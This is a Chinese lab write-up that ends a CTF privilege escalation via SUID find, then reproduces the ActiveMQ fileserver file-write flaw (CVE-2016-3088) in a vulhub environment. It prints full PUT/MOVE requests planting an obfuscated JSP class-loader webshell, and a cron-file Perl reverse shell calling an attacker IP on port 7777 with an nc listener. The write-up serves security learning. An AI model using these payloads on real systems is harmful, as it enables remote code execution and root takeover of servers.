ssh flag4@192.168.228.132

连接成功，查看flag

提示我们去root里面找flag

五.Linux提权

需要用到SUID提权，参考 简谈SUID提权 - FreeBuf网络安全行业门户

利用find命令，找查具有SUID权限的可执行二进制文件

1

find / -perm -u=s -type f 2>/dev/null

这个命令的作用是在根目录 / 下查找所有文件，如果文件的用户 ID 位设置为 SUID（SUID 是 setuid 的缩写，表示当该程序运行时将以拥有者的权限运行），则列出它们的文件名。并且将所有标准错误输出到 /dev/null 中，以避免在屏幕上显示不必要的错误信息。

下面是各个参数的解释：

• find: 命令名，用于在指定的路径下查找文件和目录。
• /: 查找的路径，本例中是根目录。
• -perm: 参数选项，用于按照文件权限查找文件。
• -u=s: 参数选项，用于查找文件的用户 ID 位设置为 SUID（即文件所有者执行时具有其权限）的文件。u 表示用户（user），**=** 表示精确匹配，s 表示设置了 SUID。
• -type: 参数选项，用于指定要查找的文件类型，f 表示查找普通文件（即不包括目录和链接等其他类型的文件）。
• 2>/dev/null: 将标准错误输出重定向到 /dev/null 设备，即将错误信息丢弃不予显示。

find比较常用，可以执行root权限的命令找查文件

1

find / -name index.php -exec "/bin/sh" \;

可以看到我们已经是root权限了

拿到最终的flag

ActiveMQ的web控制台分为三个应用，admin、api和fileserver，其中admin是管理员页面，api是接口，fileserver是储存文件的接口；admin和api都需要登录后才能使用，fileserver无需登录。

fileserver是一个RESTful API接口，我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作，其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷，但后来发现：

其使用率并不高

文件操作容易出现漏洞

所以，ActiveMQ在5.12.x~5.13.x版本中，已经默认关闭了fileserver这个应用（可以在conf/jetty.xml中开启）；在5.14.0版本以后，彻底删除了fileserver应用。

在测试过程中，可以关注ActiveMQ的版本，避免走弯路。

漏洞详情

本漏洞出现在fileserver应用中，漏洞原理其实非常简单，就是fileserver支持写入文件（但不解析jsp），同时支持移动文件（MOVE请求）。所以，我们只需要写入一个文件，然后使用MOVE请求将其移动到任意位置，造成任意文件写入漏洞。

文件写入有几种利用方法：

写入webshell

写入cron或ssh key等文件

写入jar或jetty.xml等库和配置文件

写入webshell的好处是，门槛低更方便，但前面也说了fileserver不解析jsp，admin和api两个应用都需要登录才能访问，所以有点鸡肋；写入cron或ssh key，好处是直接反弹拿shell，也比较方便，缺点是需要root权限；写入jar，稍微麻烦点（需要jar的后门），写入xml配置文件，这个方法比较靠谱，但有个鸡肋点是：我们需要知道activemq的绝对路径。

知识拓展

背景简述和漏洞详情里面有几点和漏洞强相关的知识点是我之前没有接触过的，需要学习和理解一下：

cron是什么

反弹shell是什么

cron或ssh key和反弹shell的关系

jetty和jetty.xml是什么

linux文件权限

下面来一个一个了解一下：

cron是什么

在这个链接找到了cron的介绍：Cron是什么？利用Cron Job自动执行定时任务

简单来说，cron是linux系统的守护进程，用于在特定时间自动执行重复任务。

反弹shell是什么

简单来说反弹shell（reverse shell）就是反向的shell，是相对于标准shell的一个概念。

标准shell是攻击者作为客户端去连接目标服务器；

而反弹shell是攻击者作为服务器，监听某端口，而目标设备作为客户端主动连接攻击者。

反弹shell的应用场景：

目标机在局域网内

目标机ip地址是动态的

有防火墙等限制，目标机只能发请求，不能收请求

不确定目标机何时具备连接条件

这部分主要参考：反弹shell原理与实现

至于具体的反弹shell百度一搜全都是，就不说了。

cron或ssh key和反弹shell的关系

cron和反弹shell的关系很好理解，就是往目标机的定时任务文件中写反弹shell脚本；

ssh key和反弹shell的关系，从网上查到的资料看，是往目标机里面写了攻击机的ssh key（公钥）之后，攻击机就可以免密登录目标机。可是这不还是攻击机做客户端，目标机做服务器么？还是需要目标机开启ssh服务，并且允许攻击机连接，和反弹关系不大呀。。。小小的脑袋，大大的问号，也不知道是牵强附会，还是我没找到正确的资料。。

这部分主要参考：

Linux反弹shell

不请自来 | Redis 未授权访问漏洞深度利用

jetty和jetty.xml是什么

简单来说，jetty是一种开源的servlet容器，是基于java的web容器，和tomcat是一类东西。jetty是通过API或者XML文件进行配置的，而jetty.xml是jetty的一个重要配置文件。

linux文件权限

vulhub官网教程中，据不完全统计，至少有两句话提到了权限相关的问题：

This method requires the ActiveMQ run as root, otherwise it will not be able to write to the cron file.

这个方法需要ActiveMQ是root运行，否则也不能写入cron文件。

In some cases, the owner of jetty.xml and jar is the user of the web container, so the success rate of writing crontab is higher.

有的情况下，jetty.xml和jar的所有人是web容器的用户，所以相比起来，写入crontab成功率更高一点。

总而言之，由于是通过ActiveMQ进行文件上传，因此运行ActiveMQ的用户必须有目标文件夹，或者需要修改的文件的写权限才行。

那么要确定能否写入或者修改文件，就需要确定两件事情：

文件或文件夹权限

运行ActiveMQ的用户

下面就以/etc/cron.d目录和jetty.xml文件来演示如何获取以上两点信息。（这部分内容仅仅是知识扩展，对于实际攻击没什么意义）

文件或文件夹权限

首先需要运行docker容器activemq/CVE-2016-3088

1

sudo docker-compose up -d

然后可以通过登录网页http://your-ip:8161/确认容器运行成功

接下来用下面的命令查看正在运行的docker容器id

1

sudo docker container ps

然后用下面这个命令进入容器

1

sudo docker exec -it 容器id /bin/bash

然后就用cd命令定位到我们想观察的点，再ls -l看看文件夹和文件的所有者和权限设置

从下图中可以看到/etc/cron.d目录的所有者是root，root用户的权限是可读写可执行；root组和其他组用户权限都是可读可执行。

而从下图中可以看到jetty.xml文件的所有者也是root，root用户的权限是可读写，其他用户的权限是可读。

运行ActiveMQ的用户

我想到两种方法查看运行ActiveMQ的用户：

第一种 通过ps命令

容器里面是没有ps命令的，需要用下面的命令先安装一下

1

apt-get update && apt-get install procps

安装好之后，用下面的命令查看运行activemq console的用户

ps aux

第二种 通过网页

访问网页：http://your-ip:8161/admin/test/systemProperties.jsp可以看到运行ActiveMQ的用户是root：

综上所述，运行ActiveMQ的用户是root，而root对/etc/cron.d目录和jetty.xml文件都是有写权限的，因此理论上上传crontab文件，以及修改jetty.xml文件都应该是可实现的。

漏洞复现

版本要求

根据vulhub上的背景简述可知，该漏洞影响版本是ActiveMQ在5.14.0之前的版本（不包括5.14.0）。

既然是vulhub提供的漏洞复现环境，那版本肯定是没问题的啦，不过如果想要确认一下版本的话，可以用浏览器访问http://your-ip:8161/admin/

途径1：写入webshell

前提条件

需要知道ActiveMQ的绝对路径

需要能登录admin或者api

思路分析

由于要满足以上两个前提条件，并且ActiveMQ的绝对路径可以通过http://your-ip:8161/admin/test/systemProperties.jsp页面获取，而这个页面也需要登录admin之后才能访问。因此，应该按照如下步骤实施攻击：

获取admin应用的用户名和密码

访问http://your-ip:8161/admin/test/systemProperties.jsp获取ActiveMQ的绝对路径

上传webshell

将webshell移动到admin所在文件夹

连接webshell

利用步骤

1、获取admin应用的用户名和密码

不是重点，不详细说了，而且这个步骤放在这篇文章里完全是为了攻击链的完整性，其实vulhub的教程已经说了默认用户名和密码都是admin。

我能想到的几种获取用户名和密码的方法：

尝试默认用户名和密码

尝试弱口令（暴力破解）

社工

暴力破解可以用Burp Suite的intruder模块。

2、获取ActiveMQ的绝对路径

得到admin应用的用户名和密码之后，就可以访问网页http://your-ip:8161/admin/test/systemProperties.jsp来获取ActiveMQ的绝对路径了，具体见下图红框框。

3、上传webshell

先得把webshell上传到fileserver，之后才能从fileserver转移。由于ActiveMQ是个java程序，因此需要传个jsp webshell。

在网上找了个jsp webshell：蚁剑jsp一句话木马

用PUT方法把webshell上传到fileserver：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

PUT /fileserver/ele.txt HTTP/1.1
Host: 1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run
Cookie: JSESSIONID=nc4v0my0vmaso0b829zo2e5f
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Length: 780


<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>

Response报文状态码204表示上传成功：

4、将webshell移动到admin所在文件夹

用MOVE方法进行webshell的移动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

MOVE /fileserver/ele.txt HTTP/2
Destination: file:///opt/activemq/webapps/admin/ele.jsp
Host: 1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run
Cookie: JSESSIONID=nc4v0my0vmaso0b829zo2e5f
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

同样，Response报文状态码204表示移动成功：

5、连接webshell

这里用蚁剑演示一下，重点是记住admin应用是需要登录的，所以记得一定要在连接中添加Authorization头。

基础配置：

请求信息：

途径3：写入cron拿反弹shell

前提条件

需要运行ActiveMQ的用户有root权限

服务器开启了cron服务

运行ActiveMQ的用户有使用crontab的权限

前两点在知识拓展中已经被证明满足了，而第3点在默认情况下是满足的，除非存在cron.allow或者cron.deny文件，但这两个文件在vulhub提供的漏洞环境中并不存在。因此本环境理论上可以通过写入cron拿反弹shell。

思路分析

这种方法思路就比较简单了：

上传cron文件到fileserver

把cron文件从fileserver转移到/etc/cron.d/ele

攻击机上开启监听并等待反弹shell连接

这个网页有反弹shell合集，可以参考：反弹shell的方法总结

需要注意以下三点：

首先是vulhub提示的cron配置文件中换行一定要\n，不能是\r\n，否则crontab执行会失败。这一点在下面的漏洞利用过程中没有体会到。

另外，/etc/cron.d 文件夹中的任务文件命名有特殊要求，只能使用 [\w-] 字符，不能有 . （/etc/cron.d 攻略）

vulhub提供的示例中反弹shell用的是perl shell，这个反弹shell能成功的前提是服务器上安装了perl，另外，是否需要知道perl的绝对路径要看运气（看服务器上是否有相关的软链接）。

测试过程中我也尝试了cron文件中写bash反弹shell，但是反弹shell没有执行成功，目前还不知道是什么原因。网上搜索cron反弹shell的资料时，发现有人在其他环境上尝试bash反弹shell也没成功。。

利用步骤

1、上传cron文件到fileserver

payload如下，需要修改Host头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

Cookie: JSESSIONID=1afx396fq4o7818mkoe7sa03x1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Length: 243


*/1 * * * * root perl -e 'use Socket;$i="192.168.108.129
";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

请求数据部分是cron文件格式的perl反弹shell，*/1 * * * *表示定时任务执行时间是每分钟一次，root表示执行定时任务的用户，后面就是perl反弹shell的内容了。万一服务器上没有perl的软链接，就需要写perl的绝对路径了，比如/usr/bin/perl

此外还要注意，反弹shell中的$i为攻击机ip，$p为攻击机监听的端口。

Response报文状态码204表示文件上传成功

2、 将GET改为MOVE方式，把它移动到/etc/cron.d/root目录下,路径为Destination: file:///etc/cron.d/root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

MOVE /fileserver/ele.txt HTTP/2
Destination: file:///etc/cron.d/root
Host: 1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run
Cookie: JSESSIONID=1afx396fq4o7818mkoe7sa03x1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://1774-0c4e2302-81dd-47b3-b00a-4f026f54df7d.do-not-trust.hacking.run/
Authorization: Basic YWRtaW46YWRtaW4=
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Response报文状态码204表示文件转移成功

3、攻击机上开启监听并等待反弹shell连接

攻击机上用nc开监听，监听7777端口，命令如下：

nc -l -p 7777

耐心等一会儿，就能连上服务器了